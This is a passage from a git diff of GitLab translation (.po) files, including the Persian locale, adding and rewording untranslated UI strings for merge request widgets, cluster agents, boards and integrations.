msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/fa_IR/gitlab.po b/locale/fa_IR/gitlab.po
index 64a0c1a0489..475f77d866b 100644
--- a/locale/fa_IR/gitlab.po
+++ b/locale/fa_IR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fa\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
